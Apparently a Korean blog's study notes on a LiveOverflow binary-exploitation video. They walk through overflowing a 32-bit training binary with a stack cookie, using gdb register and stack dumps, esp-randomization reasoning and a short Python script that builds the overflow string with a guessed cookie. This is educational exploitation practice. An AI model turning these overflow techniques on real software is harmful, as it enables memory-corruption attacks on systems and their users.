AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ
Try again?

Breakpoint 2, 0x5655562f in main ()

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd100 --> 0x565556f9 ("Try again?")
EDX: 0x17e82651 
ESI: 0xf7fb5000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd0fc ("\rVUV\371VUV+\321\377\377\001") # 0xfc + 4 = 0x00
EIP: 0x5655562f (<main+146>: ret)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5655562a <main+141>: pop    ebx
   0x5655562b <main+142>: pop    ebp
   0x5655562c <main+143>: lea    esp,[ecx-0x4]
=> 0x5655562f <main+146>: ret    
   0x56555630 <__libc_csu_init>: push   ebp
   0x56555631 <__libc_csu_init+1>: push   edi
   0x56555632 <__libc_csu_init+2>: push   esi
   0x56555633 <__libc_csu_init+3>: push   ebx
[------------------------------------stack-------------------------------------]
0000| 0xffffd0fc ("\rVUV\371VUV+\321\377\377\001")
0004| 0xffffd100 --> 0x565556f9 ("Try again?")
0008| 0xffffd104 --> 0xffffd12b --> 0x41414100 ('')
0012| 0xffffd108 --> 0x1 
0016| 0xffffd10c --> 0x565555b4 (<main+23>: add    ebx,0x1a1c)
0020| 0xffffd110 --> 0x0 
0024| 0xffffd114 --> 0xc30000 
0028| 0xffffd118 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

(ERROR)
-> And if you run it now, you can see that "esp" ends with "fc."
-> So it worked, because we predicted the lowest part on the stack is overwritten with “0” and because of “ecx-4”, so “0 - 4” we end up with “fc”.
-> But as you can see, we're not lucky, and "esp" points out that it's not a buffer.
-> But we'll be lucky to do the same again a few times and at some point.
-> r
# our buffer input

-> Now "esp" refers to a buffer.
-> c


-> And now, when you get back, you actually go back to "4d4d4d4d," which is "MMMM".
-> It worked.
: This is actually possible if zero padding is randomized in the stack.
-> Actually the randomization of the zero padding on the stack makes this work, because at point the lowest randomized value of the address will be just right, so that the 0 is the right amount of change so esp points into our buffer.
-> But you also see it’s not 100% reliable.
-> We have to guess the cookie correct and then hope that the esp randomization is also nice to us.
-> But that’s fairly common so I hope that it’s common enough to still make it feasible.

: So now all that we have to do is, put it together.
-> Let’s write a quick python script.
-> vim stack0_32.py
import struct
b32 = lambda x: struct.pack(”I”,x)
# AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
exp = b32(0x80484cf)*16+”COOK”+”RRRR”
print exp
-> We import struct to convert the address to 4 byte strings.
-> Little lambda helper function for that.
-> And then we simply make our exploit string fill the buffer with mostly the address we want to return to.
-> We hope we can make esp point into this area.
-> And then comes the Cookie value, which we later have to write some bruteforce logic for.
-> Afterwards then comes 4 more bytes, and that’s it.
: Then we print it.
(python) -> python stack0_32.py
COOKRRRR
-> python stack0_32.py | hexdump -C

-> You see the raw bytes are output with hexdump.
-> python stack0_32.py > stack0_32_exploit

-> Write it to a file.
(gdb) -> disassemble main

-> break *0x56555618
-> Let’s set a breakpoint at the cookie check to make sure the cookie is in the right place.
-> And then we can use the file as input in gdb.
-> run < stack0_32_exploit

-> First breakpoint was the cookie check.
-> And we can see we overwrite the cookie with COOK.
-> c

-> Now when I press continue the other breakpoint from before will hit and skip tghe cookie check and we reach the return.
-> Oh and look at that.
-> We got lucky with esp and esp actually points into our buffer.
-> c

-> When we now continue we return into the if-case that prints the modified string.
-> And there it is.
-> So the exploit theoretically works.
: All that is left, is the cookie bruteforcing.
-> Unfortunately that deserves it’s own episode again.
-> It’s just programming, but doing it you can learn a lot about linux and I don’t wanna squeeze it in here.
-> Again, try to do that part yourself. You could really learn a lot.
(Show Next Video…)

: Problem
-> program aborts when overwritten -> but maybe guess the Cookie

: Exploit Code(Python Code: exploit.py)
import struct
b32 = lambda x: struct.pack(”I”,x)
# AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR
exp = b32(0x80484cf)*16+”COOK”+”RRRR”
print exp

-> python exploit.py > exploit
-> gdb stack0_32
-> disassemble main
-> 0x080484f6 <+107>: xor edx,DWORD PTR gs:0x14
-> break *0x080484f6
-> run < exploit
-> c(=continue)
: Trying This!
-> Stack Cookie(”COOK”), “brute force” this Programming!
-> But this, very hard?? Next play video…

'LiveOverFlow > Binary' 카테고리의 다른 글

0x38.  (0) 2021.11.03
0x37.  (0) 2021.11.03
0x35.  (0) 2021.11.03
0x34.  (0) 2021.11.03
0x33.  (0) 2021.11.03
Comments